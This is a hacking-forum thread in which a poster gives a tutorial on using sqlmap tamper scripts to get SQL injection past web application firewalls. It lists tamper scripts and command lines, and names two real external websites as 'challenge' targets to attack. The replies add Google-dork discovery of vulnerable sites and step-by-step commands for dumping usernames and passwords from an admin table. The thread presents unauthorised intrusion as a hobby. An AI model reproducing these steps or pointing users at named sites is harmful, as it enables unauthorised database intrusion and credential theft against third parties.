[๖ۣۜStark]

Hello HF
well i can not say that sqlmap bypass all firewall....but it easy when you are trying to get data from injection, like username and password.
[+]Thankx To K0FIN
==
[#] Requirements
[+] Linux-->Ubuntu-- (I didnt tried in windows)
[+] Python--> sudo apt-get install python
[+] SQLmap-->https://github.com/sqlmapproject/sqlmap

[#] Procedure:
[+] Download sqlmap from above link, extract and open folder "tamper" in sqlmap directory.
-So you look some python script(.py) in directories....
Spoiler (Click to View)[img]http://s23.postimg.org/5ud24awnv/tamp1.png[/img]

[#] What python tamper script containss?
[+] All script has a various payload to bypass Firewall like,,,,
-->Open any script...(Ex of charencode.py)
Spoiler (Click to View)[img]http://s11.postimg.org/a9hr3fi5v/temp3.png[/img]
[+] So every script has same above structure with various payload.

[#] Useful Tamper script:
[+] If you want to know function of script then open one by one script and follow above picture...

Code

--charencode.py [My Hot Favourite]
--chardoubleencode.py
--charunicodeencode.py
--halfversionedmorekeywords.py
--ifnull2ifisnull.py [My Hot Favourite]
--modsecurityversioned.py [My Hot Favourite]
--percentage.py
--randomcomments.py
--nonrecursivereplacement.py
--unionalltounion

[#] How to use?
[+] Open terminal...[You must have little bit knowledge about linux..]
[+] cd Sqlmap directory
--Ex of...

Code

$ cd Downloads/sqlmap-master

[+] Now run...

Code

./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --tamper=tamperscript.py

[+] If you know that site has union based injection (u) then add ( --technique=u ) on above code. for Error based (e), Blind (b), Time (t)
[+] ANd any tamper script that you want to run like,,,, --tamper=charencode.py
[+] So finally it looks like

Code

$ ./sqlmap.py -u 'http://targetsite.com/index.php?id=65' -v3 --dbms=mysql --technique=u --tamper=charencode.py

[+] Done

[#] Challenge...
[+] I give you some site which has firewall so you can try on it...

Code

http://www.booksofwonder.com/event.php?id=75
http://fotodi.ru/vyst.php?id=100

[#] Guest book
[+] If you really learn about something new, then comment your thought..
[+] Thank You

[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem
[+] If you know more about SQLmap then you can also contribute us.

[133720]

Nice Write up man.
Keep it up.I like this tutorial

[MFFS]

Good tut, but it's always better when you learn to do manual and when you know what you are doing.

[๖ۣۜStark]

Good tut, but it's always better when you learn to do manual and when you know what you are doing.

Ya yu right...manual is a good thing to learn deeply..
but when you face waf then manual become hard to extract data....

[diamante]

it a good tutorial bro , thank in advance for this =)

[๖ۣۜStark]

[#] Helpdesk
[-] If you have any problem regarding SQLmap then post here.
[+] K0FIN and I will help to solve your problem

[133720]

how to find sql vul site with sql map?
Can you explain to me?

[akiratoriyama]

Nice tut bro
Can we use it with Cygwin ???

[๖ۣۜStark]

how to find sql vul site with sql map?
Can you explain to me?

Open terminal ...

Code

$ ./sqlmap.py -g "inurl:gallery.php?id=" --hex --dbms=mysql

-g:-- Is used for finding vilnerability from google dork.
it will fetch google search page data using inputed dork, and find the target is vulnerable or not

---

Nice tut bro
Can we use it with Cygwin ???

Maybe but you can try windows version of sqlmap, for stable purpose....

[VipVince]

Too much tools and not enough manual going on.

[mirkops]

nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!

[jeni...]

that tamper :)

thanks for the tut . easy to understand

[๖ۣۜStark]

nice i just i am trying to learn to use sqlmap..really difficult..!! I see..it needs commands..!!

its very easy to inject site

Code

./sqlmap,py -u 'site' --dbs

after you get database name

Code

./sqlmap.py -u 'site' -D database_name --tables

you see table names

Code

./sqlmap.py -u 'site' -D database_name -T admin --columns

You see column name of admin table

Code

./sqlmap.py-u 'site' -D database_name -T admin -C username,password --dump

It will dump username password from admin table.
However you can use more thing by --help

[Exusia]

HQ user, helped me with a problem I had. Also a great tutorial to use for blind injection.

[asdeleslam]

it a good tutorial bro , thank in advance for this